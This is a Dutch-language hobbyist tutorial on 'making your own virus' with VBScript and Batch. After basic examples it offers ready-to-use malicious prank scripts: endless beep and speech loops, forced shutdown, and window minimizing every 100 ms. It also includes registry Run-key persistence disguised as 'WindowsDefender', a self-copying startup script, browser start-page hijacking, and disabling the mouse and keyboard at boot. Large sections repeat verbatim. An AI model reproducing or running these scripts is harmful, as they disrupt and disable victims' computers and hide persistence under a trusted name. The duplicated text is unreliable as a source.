Hoe of Wat...
Zelf een virus maken... Nu begint het echte werk. Virussen zijn er in alle soorten en maaten, en je hebt dus lastige en makkelijke virussen. Makkelijke virussen zijn scripts, voorbeelden van script-talen zijn VBS (Visual Basic Script) en Batch. Deze script-talen zijn alleen op windows gebaseerd, maar dat maakt niet uit aangezien virussen vrijwel alleen bestaan voor Windows, en niet voor Mac of Linux.
Lastige virussen zijn vaak geschreven in C, of C++. Dit zijn zeer geadvanceerde programmeertalen waar je toch enige ervaring voor moet hebben. Ik zal wel een paar voorbeeldjes plaatsen, maar ik ga er niet dieper op in.
Laten we een script schrijven!
Een scriptje schrijven is erg gemakkelijk. We zullen beginnen met een Visual Basic script dat een pop-up laat zien met wat text erin. Een script maken / bewerken gaat eigenlijk altijd in een plain-text verwerker. Word is dus niet geschikt, aangezien word allemaal onnozele dingen opslaat (zoals opmaak enzo). We kunnen Notepad (kladblok) gebruiken, of Notepad++. Ikzelf gebruik kladblok, en dat raad ik je ook aan.
Dus, zodra je kladblok hebt geopend, zal er gelijk een leeg bestand openstaan. Hier kunnen we beginnen met scripten. Ons eerste scriptje gaat als volgt:
msgbox "Hallo"
Dit is een klein regeltje text met een leuk effect. Sla het bestand op (CTRL+S) en noem het schrijfhierjetitel.vbs. Die .vbs is het belangrijkste, dat is de bestands-extentie. Zo heb je .doc voor word, .exe voor programma's, en .vbs voor visual-basic script. Op deze manier weet windows wat hij moet doen met ons bestandje. Zodra je het hebt opgeslagen kun je dubbelklik doen en het word geopend. Hier is natuurlijk niet zoveel boeiends aan, maargoed, het is al een grote stap naar onze virus!
Lastige virussen zijn vaak geschreven in C, of C++. Dit zijn zeer geadvanceerde programmeertalen waar je toch enige ervaring voor moet hebben. Ik zal wel een paar voorbeeldjes plaatsen, maar ik ga er niet dieper op in.
Laten we een script schrijven!
Een scriptje schrijven is erg gemakkelijk. We zullen beginnen met een Visual Basic script dat een pop-up laat zien met wat text erin. Een script maken / bewerken gaat eigenlijk altijd in een plain-text verwerker. Word is dus niet geschikt, aangezien word allemaal onnozele dingen opslaat (zoals opmaak enzo). We kunnen Notepad (kladblok) gebruiken, of Notepad++. Ikzelf gebruik kladblok, en dat raad ik je ook aan.
Dus, zodra je kladblok hebt geopend, zal er gelijk een leeg bestand openstaan. Hier kunnen we beginnen met scripten. Ons eerste scriptje gaat als volgt:
msgbox "Hallo"
Dit is een klein regeltje text met een leuk effect. Sla het bestand op (CTRL+S) en noem het schrijfhierjetitel.vbs. Die .vbs is het belangrijkste, dat is de bestands-extentie. Zo heb je .doc voor word, .exe voor programma's, en .vbs voor visual-basic script. Op deze manier weet windows wat hij moet doen met ons bestandje. Zodra je het hebt opgeslagen kun je dubbelklik doen en het word geopend. Hier is natuurlijk niet zoveel boeiends aan, maargoed, het is al een grote stap naar onze virus!
UITLEG:
MsgBox is een functie, die we aanroepen met het argument "Hallo!". Oftuwel, Windows leest ongeveer dit:
MsgBox (Oei, ik moet een berichtje laten zien.. Wat willen ze erin hebben?) "Hallo!" (Oh, 'Hallo!'... Nou, das niet zo moeilijk.)
En plop, daar is onze popup. Op deze manier zijn er een helehoop functies die verschillende dingen doen.
Als je meer scripts wilt maken moet je toch echt zelf Visual Basic script gaan leren!
Batch:
Batch is een script-taal die al heel lang bestaat. Het word gebruikt om dos-commando's achter elkaar uit te voeren, zonder ze zelf in te hoeven typen. (bijvoorbeeld om veelvoorkomende taken die bestaan uit verschillende commando's te automatiseren.) Batch kunnen we ook heel makkelijk in kladblok bewerken. Batch werkt heel makkelijk en je kan er leuke dingen mee op een makkelijke manier. (Bestanden kopieren, uitvoeren, verwijderen, hernoemen, etc.) Een voorbeeldje van een batch script is als volgt:
@echo off
echo Goeiemorgen!
pause
cls
echo Je klikte. Heel leuk, maar als je nog een keer klikt ga ik er vandoor!
pause
Batch-bestanden slaan we altijd op als .bat extentie. Bijvoorbeeld, script.bat. Als we kladblok openen en we kopieren deze text, en slaan het bestandje op, en voeren hem daarna uit, dan krijgen we zoiets:
MsgBox is een functie, die we aanroepen met het argument "Hallo!". Oftuwel, Windows leest ongeveer dit:
MsgBox (Oei, ik moet een berichtje laten zien.. Wat willen ze erin hebben?) "Hallo!" (Oh, 'Hallo!'... Nou, das niet zo moeilijk.)
En plop, daar is onze popup. Op deze manier zijn er een helehoop functies die verschillende dingen doen.
Als je meer scripts wilt maken moet je toch echt zelf Visual Basic script gaan leren!
Batch:
Batch is een script-taal die al heel lang bestaat. Het word gebruikt om dos-commando's achter elkaar uit te voeren, zonder ze zelf in te hoeven typen. (bijvoorbeeld om veelvoorkomende taken die bestaan uit verschillende commando's te automatiseren.) Batch kunnen we ook heel makkelijk in kladblok bewerken. Batch werkt heel makkelijk en je kan er leuke dingen mee op een makkelijke manier. (Bestanden kopieren, uitvoeren, verwijderen, hernoemen, etc.) Een voorbeeldje van een batch script is als volgt:
@echo off
echo Goeiemorgen!
pause
cls
echo Je klikte. Heel leuk, maar als je nog een keer klikt ga ik er vandoor!
pause
Batch-bestanden slaan we altijd op als .bat extentie. Bijvoorbeeld, script.bat. Als we kladblok openen en we kopieren deze text, en slaan het bestandje op, en voeren hem daarna uit, dan krijgen we zoiets:
Stap voor stap doet het script dit:
@echo off - Zorg ervoor dat onze commando's niet zichtbaar zijn. Probeer maar is, haal die regel weg en start het script opnieuw. Bah!
echo Goeiemorgen! - Echo is functie om text te weergeven, net als MsgBox in Visual Basic Script.
pause - Dit is een functie, dat ervoor zorgt dat het script pauzeert. Het gaat pas door als de gebruiker op een toets klikt.
cls - staat voor ClearScreen, dat maakt het scherm weer leeg. Opgeruimd staat netjes!
Als het batch-script afgelopen is zal het scherm vanzelf sluiten. Vandaar die laatste 'pause'. Als die er niet was ging het scherm meteen weg na de eerste klik.
@echo off - Zorg ervoor dat onze commando's niet zichtbaar zijn. Probeer maar is, haal die regel weg en start het script opnieuw. Bah!
echo Goeiemorgen! - Echo is functie om text te weergeven, net als MsgBox in Visual Basic Script.
pause - Dit is een functie, dat ervoor zorgt dat het script pauzeert. Het gaat pas door als de gebruiker op een toets klikt.
cls - staat voor ClearScreen, dat maakt het scherm weer leeg. Opgeruimd staat netjes!
Als het batch-script afgelopen is zal het scherm vanzelf sluiten. Vandaar die laatste 'pause'. Als die er niet was ging het scherm meteen weg na de eerste klik.
Visual Basic scripts:
Laat je PC een irritant liedje zingen:
Dit is een geniaal stukje code. De text die je hier ziet staan zal opgenoemd worden door Microsoft Sam, de computer's stem! Probeer het uit.
Do
StrText=("I know a song that gets on everybodys nerves everybodys nerves everybodys nerves")
strText2=("I know a song that gets on everybodys nerves and this is how it goes")
set ObjVoice = CreateObject("SAPI.SpVoice")
ObjVoice.Speak StrText
ObjVoice.Speak StrText2
Loop
Minimalizeer al je openstaande schermen:
Dit is verschrikkelijk irritant. Elke 100 milliseconden worden al je schermen geminimaliseerd!
Do
Set WSHShell = WScript.CreateObject("WScript.Shell")
set shell = wscript.CreateObject("Shell.Application" )
wscript.sleep 100
Shell.MinimizeAll
Loop
Start het script elke keer op als de pc opstart:
Als dit stukje code uitgevoerd word, zal ditzelfde script elke keer bij het opstarten opgestart worden.
Dim ditscript
Set WshShell = WScript.CreateObject("WScript.Shell")
ditscript=Wscript.ScriptFullName
WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", ditscript, "REG_SZ"
Verander de titelbalk in Internet Explorer:
Waarschijnlijk staat er nu iets als: 'PAGINATITEL - Microsoft Internet Explorer'. Dat laatste stukje kan je zo veranderen!
Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title"
p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title"
cn="PLAATS HIER DE TEXT DIE JE WILT NEERZETTEN."
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn
Verander de startpagina in Internet Explorer:
Via dit script kan je de startpagina van Internet Explorer veranderen.
Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"
p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page"
cn="hier de startpagina. (bijv www.porno.nl)"
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn
Hele irritante piep die niet stopt!:
PAS OP - Dit script gaat echt door totdat je je PC opnieuw opstart, of als je het proces 'wscript.exe' afsluit.
Set oWS = WScript.CreateObject("WScript.Shell")
do
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
loop
CD / DVD speler open en dicht laten gaan:
Werkt eigenlijk alleen op gewone dvd / cd spelers. Niet die dingen van je laptop die open klappen. Geeft wel een leuk effect!
Dim oWMP
Dim colCDROMs, i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
oWMP.close
Set colCDROMs = Nothing
Set oWMP = Nothing
Windows laten afsluiten:
Windows sluit gewoon af. Best grappig!
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
Kladblok die uit zichzelf typt:
Lijkt net alsof er iemand anders op je pc zit!
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 1000
WshShell.SendKeys "O"
WScript.Sleep 500
WshShell.SendKeys "M"
WScript.Sleep 500
WshShell.SendKeys "G{enter}"
WScript.Sleep 1000
WshShell.SendKeys "Ik "
WScript.Sleep 200
WshShell.SendKeys "own "
WScript.Sleep 150
WshShell.SendKeys "je!"
Als je zelf text wilt toevoegen moet je de laatste 2 regeltjes kopieren en gewoon eronder plakken, en je eigen text intypen. Het getal staat voor de tijd in milliseconden dat er gewacht word. {enter} werkt als enter.
Laat hetzelfde script uitvoeren als iemand zich aanmeld:
Als je dit stukje code bovenaan je script plakt, zal het zichzelf kopieren en opnieuw uitvoeren als iemand zich aanmeld. (bijvoorbeeld een leuke popup ofzo)
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "bestandsnaam.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "bestandsnaam.vbs"
Computernaam veranderen:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "De naam hier"
Muis blokkeren:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"
Toetsenbord blokkeren:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"
Dit is een geniaal stukje code. De text die je hier ziet staan zal opgenoemd worden door Microsoft Sam, de computer's stem! Probeer het uit.
Do
StrText=("I know a song that gets on everybodys nerves everybodys nerves everybodys nerves")
strText2=("I know a song that gets on everybodys nerves and this is how it goes")
set ObjVoice = CreateObject("SAPI.SpVoice")
ObjVoice.Speak StrText
ObjVoice.Speak StrText2
Loop
Minimalizeer al je openstaande schermen:
Dit is verschrikkelijk irritant. Elke 100 milliseconden worden al je schermen geminimaliseerd!
Do
Set WSHShell = WScript.CreateObject("WScript.Shell")
set shell = wscript.CreateObject("Shell.Application" )
wscript.sleep 100
Shell.MinimizeAll
Loop
Start het script elke keer op als de pc opstart:
Als dit stukje code uitgevoerd word, zal ditzelfde script elke keer bij het opstarten opgestart worden.
Dim ditscript
Set WshShell = WScript.CreateObject("WScript.Shell")
ditscript=Wscript.ScriptFullName
WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", ditscript, "REG_SZ"
Verander de titelbalk in Internet Explorer:
Waarschijnlijk staat er nu iets als: 'PAGINATITEL - Microsoft Internet Explorer'. Dat laatste stukje kan je zo veranderen!
Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title"
p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title"
cn="PLAATS HIER DE TEXT DIE JE WILT NEERZETTEN."
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn
Verander de startpagina in Internet Explorer:
Via dit script kan je de startpagina van Internet Explorer veranderen.
Option Explicit
Dim WSHShell, n, MyBox, p, p1, cn
Set WSHShell = WScript.CreateObject("WScript.Shell")
p = "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"
p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page"
cn="hier de startpagina. (bijv www.porno.nl)"
WSHShell.RegWrite p, cn
WSHShell.RegWrite p1, cn
Hele irritante piep die niet stopt!:
PAS OP - Dit script gaat echt door totdat je je PC opnieuw opstart, of als je het proces 'wscript.exe' afsluit.
Set oWS = WScript.CreateObject("WScript.Shell")
do
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
loop
CD / DVD speler open en dicht laten gaan:
Werkt eigenlijk alleen op gewone dvd / cd spelers. Niet die dingen van je laptop die open klappen. Geeft wel een leuk effect!
Dim oWMP
Dim colCDROMs, i
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
oWMP.close
Set colCDROMs = Nothing
Set oWMP = Nothing
Windows laten afsluiten:
Windows sluit gewoon af. Best grappig!
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
Kladblok die uit zichzelf typt:
Lijkt net alsof er iemand anders op je pc zit!
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("notepad.exe")
WScript.Sleep 1000
WshShell.SendKeys "O"
WScript.Sleep 500
WshShell.SendKeys "M"
WScript.Sleep 500
WshShell.SendKeys "G{enter}"
WScript.Sleep 1000
WshShell.SendKeys "Ik "
WScript.Sleep 200
WshShell.SendKeys "own "
WScript.Sleep 150
WshShell.SendKeys "je!"
Als je zelf text wilt toevoegen moet je de laatste 2 regeltjes kopieren en gewoon eronder plakken, en je eigen text intypen. Het getal staat voor de tijd in milliseconden dat er gewacht word. {enter} werkt als enter.
Laat hetzelfde script uitvoeren als iemand zich aanmeld:
Als je dit stukje code bovenaan je script plakt, zal het zichzelf kopieren en opnieuw uitvoeren als iemand zich aanmeld. (bijvoorbeeld een leuke popup ofzo)
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "bestandsnaam.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "bestandsnaam.vbs"
Computernaam veranderen:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "De naam hier"
Muis blokkeren:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"
Toetsenbord blokkeren:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"